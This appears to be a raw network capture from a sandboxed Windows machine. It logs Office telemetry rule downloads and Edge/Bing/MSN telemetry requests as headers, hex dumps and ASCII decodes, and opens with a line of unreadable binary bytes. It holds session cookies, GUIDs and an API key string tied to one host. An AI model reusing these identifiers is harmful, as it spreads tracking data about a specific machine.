%}CfT.Hjzhys\Zb2T2!D2!2E@,Zh,dJjEV"PjBT e$Ze(V5d%Z5FBUSVB!5P5 B2d%BBT e!!(B BBMR+-X)R)%4\|[

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.5	49867	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:33 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:33 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:33 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 216c61d6-701e-001e-69a0-34f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031633Z-17df447cdb5c9wvxhC1DFWn08n0000000btg000000004qvq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 03:16:33 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.5	49868	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:33 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:33 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:33 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 2a85e8ce-c01e-0066-0ca2-34a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031633Z-15869dbbcc6khw88hC1DFWbb2000000008tg00000000na89 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 03:16:33 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.5	49869	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:33 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:33 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:33 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 215f87f6-c01e-0046-2c15-2d2db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031633Z-16547b76f7fq9mcrhC1DFWq15w0000000f3g0000000037t6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 03:16:33 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.5	49870	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:33 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:33 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:33 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 1b2c96e9-801e-00ac-3bad-34fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031633Z-15869dbbcc6lq2lzhC1DFWs1sn000000015000000000b45h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 03:16:33 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.5	49872	23.198.7.174	443	5600	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:33 UTC	628	OUT	OPTIONS /bnc/notifications/count?app=anaheim&pageId=ntp HTTP/1.1 Host: www.bing.com Connection: keep-alive Accept: / Access-Control-Request-Method: GET Access-Control-Request-Headers: x-personalbing-csrf,x-personalbing-flights,x-search-clientid,x-search-uilang Origin: https://ntp.msn.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 03:16:33 UTC	2233	IN	HTTP/1.1 200 OK Content-Length: 0 Access-Control-Allow-Headers: * Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Max-Age: 7200 Cache-Control: private X-EventID: 6732c891d2f24de3abeac84f19fea528 UserAgentReductionOptOut: A7kgTC5xdZ2WIVGZEfb1hUoNuvjzOZX3VIV/BA6C18kQOOF50Q0D3oWoAm49k3BQImkujKILc7JmPysWk3CSjwUAAACMeyJvcmlnaW4iOiJodHRwczovL3d3dy5iaW5nLmNvbTo0NDMiLCJmZWF0dXJlIjoiU2VuZEZ1bGxVc2VyQWdlbnRBZnRlclJlZHVjdGlvbiIsImV4cGlyeSI6MTY4NDg4NjM5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0= Content-Security-Policy: script-src https: 'strict-dynamic' 'report-sample' 'wasm-unsafe-eval' 'nonce-ZOoDbcYtpkdd7AZqCQFfNMlTCoTb2kzC+cRVw0Ci/1s='; base-uri 'self';report-to csp-endpoint Report-To: {"group":"csp-endpoint","max_age":86400,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingcsp"}]} P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND" Date: Tue, 12 Nov 2024 03:16:33 GMT Connection: close Set-Cookie: MUID=33D5C64EE5A86ECA3871D37BE4346FB2; domain=.bing.com; expires=Sun, 07-Dec-2025 03:16:33 GMT; path=/; secure; SameSite=None Set-Cookie: MUIDB=33D5C64EE5A86ECA3871D37BE4346FB2; expires=Sun, 07-Dec-2025 03:16:33 GMT; path=/; HttpOnly Set-Cookie: _EDGE_S=F=1&SID=0AF5145E7595692B279A016B740968B8; domain=.bing.com; path=/; HttpOnly Set-Cookie: _EDGE_V=1; domain=.bing.com; expires=Sun, 07-Dec-2025 03:16:33 GMT; path=/; HttpOnly Set-Cookie: USRLOC=HS=1; domain=.bing.com; expires=Thu, 12-Nov-2026 03:16:33 GMT; path=/; secure; HttpOnly; SameSite=None Set-Cookie: SRCHD=AF=NOFORM; domain=.bing.com; expires=Thu, 12-Nov-2026 03:16:33 GMT; path=/; secure; SameSite=None Set-Cookie: SRCHUID=V=2&GUID=4DB45646EA25495AA2DFAC4E31F7C830&dmnchg=1; domain=.bing.com; expires=Thu, 12-Nov-2026 03:16:33 GMT; path=/; secure; SameSite=None Set-Cookie: SRCHUSR=DOB=20241112; domain=.bing.com; expires=Thu, 12-Nov-2026 03:16:33 GMT; path=/; secure; SameSite=None Set-Cookie: SRCHHPGUSR=SRCHLANG=en; domain=.bing.com; expires=Thu, 12-Nov-2026 03:16:33 GMT; path=/; secure; SameSite=None Set-Cookie: _SS=SID=0AF5145E7595692B279A016B740968B8; domain=.bing.com; path=/; secure; SameSite=None Alt-Svc: h3=":443"; ma=93600 X-CDN-TraceID: 0.ad3a2f17.1731381393.9fd2bac

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.5	49873	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:34 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:34 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:34 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 100aec20-201e-006e-1215-2dbbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031634Z-16547b76f7f7rtshhC1DFWrtqn0000000f2g00000000df1r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 03:16:34 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.5	49874	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:34 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:34 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:34 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 5110c229-601e-0050-6ea6-342c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031634Z-17df447cdb5c9wvxhC1DFWn08n0000000bs00000000093au x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 03:16:34 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.5	49875	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:34 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:34 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:34 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 8d9254fb-301e-005d-42a5-34e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031634Z-15869dbbcc6sg5zbhC1DFWy5u800000006zg00000000fw3y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 03:16:34 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.5	49876	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:34 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:34 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:34 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: d07841a0-401e-0064-490f-2d54af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031634Z-16547b76f7fnlcwwhC1DFWz6gw0000000f4000000000fnc0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 03:16:34 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.5	49877	20.189.173.16	443	5600	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:34 UTC	1044	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731381392827&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 11706 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=0286CA52A44560A23542DF67A512618F; _EDGE_S=F=1&SID=1341F8B1FCF76AE33A6EED84FD4C6B7F; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-12 03:16:34 UTC	11706	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 32 54 30 33 3a 31 36 3a 33 32 2e 38 32 36 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 66 62 62 34 38 32 64 63 2d 36 30 39 37 2d 34 36 30 38 2d 38 37 66 63 2d 36 32 66 38 66 65 33 65 39 38 30 39 22 2c 22 65 70 6f 63 68 22 3a 22 33 34 30 39 33 38 37 30 32 34 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-12T03:16:32.826Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":2,"installId":"fbb482dc-6097-4608-87fc-62f8fe3e9809","epoch":"3409387024"},"app":{"locale
2024-11-12 03:16:34 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=36241f7571284fe6b635564ab1469920&HASH=3624&LV=202411&V=4&LU=1731381394477; Domain=.microsoft.com; Expires=Wed, 12 Nov 2025 03:16:34 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=262fa6fbe7774bb1b8662a9bed20fa81; Domain=.microsoft.com; Expires=Tue, 12 Nov 2024 03:46:34 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1650 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Tue, 12 Nov 2024 03:16:34 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.5	49878	20.189.173.16	443	5600	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:34 UTC	1044	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731381392836&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 34339 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; 